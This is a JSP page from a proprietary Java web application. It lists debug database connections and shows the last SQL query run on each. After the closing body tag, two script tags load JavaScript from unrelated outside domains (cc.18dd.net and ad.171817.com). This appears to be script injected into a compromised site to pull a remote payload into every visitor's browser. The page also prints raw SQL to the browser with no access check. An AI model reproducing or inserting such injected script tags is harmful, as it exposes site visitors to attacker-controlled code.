<%
/*
 * @(#)ListSysParameter.jsp
 *
 * Copyright (c) 2004 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */

/**
  ListSysParameter.jsp

  This class is used to list and the system parameter

    @author          Wilson Kong
    @company         DCIVision Limited
    @creation date   23/04/2004
    @version         $Revision: 1.3 $
*/
%>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html" %>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean" %>
<%@ taglib uri="/WEB-INF/struts-logic.tld" prefix="logic" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="javax.sql.*" %>
<%@ page import="com.dcivision.framework.*" %>
<body>
<p><a href="ListDebugConnection.jsp?showOpen=true">Show non-closed only</a> | <a href="ListDebugConnection.jsp">Show all</a></p>
<table border=1">
<tr><td>ID</td><td width="50">Is Closed</td><td>Last SQL</td></tr>
<%
    String showOpenStr = request.getParameter("showOpen");    
    boolean showOpen = showOpenStr!=null && showOpenStr.equals("true");
    Map conns = ((DebugDataSource)DataSourceFactory.getDataSource()).getTracedConnections();
    List keys = new ArrayList(conns.keySet());
    for(int i=0;i<keys.size();i++){
    	DebugConnection conn = (DebugConnection)conns.get(keys.get(i));
    	boolean isClosed = conn==null || conn.isClosed();
    	String lastSQL   = conn==null ? "" : conn.getLastSQLQuery();
  	if(!showOpen || (showOpen && !isClosed)){
%>
<tr>
<td><%=keys.get(i)%></td>
<td><%=isClosed%></td>
<td><%=lastSQL%></td>
</tr>
<%
	}
    }
%>
</table>
</body>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>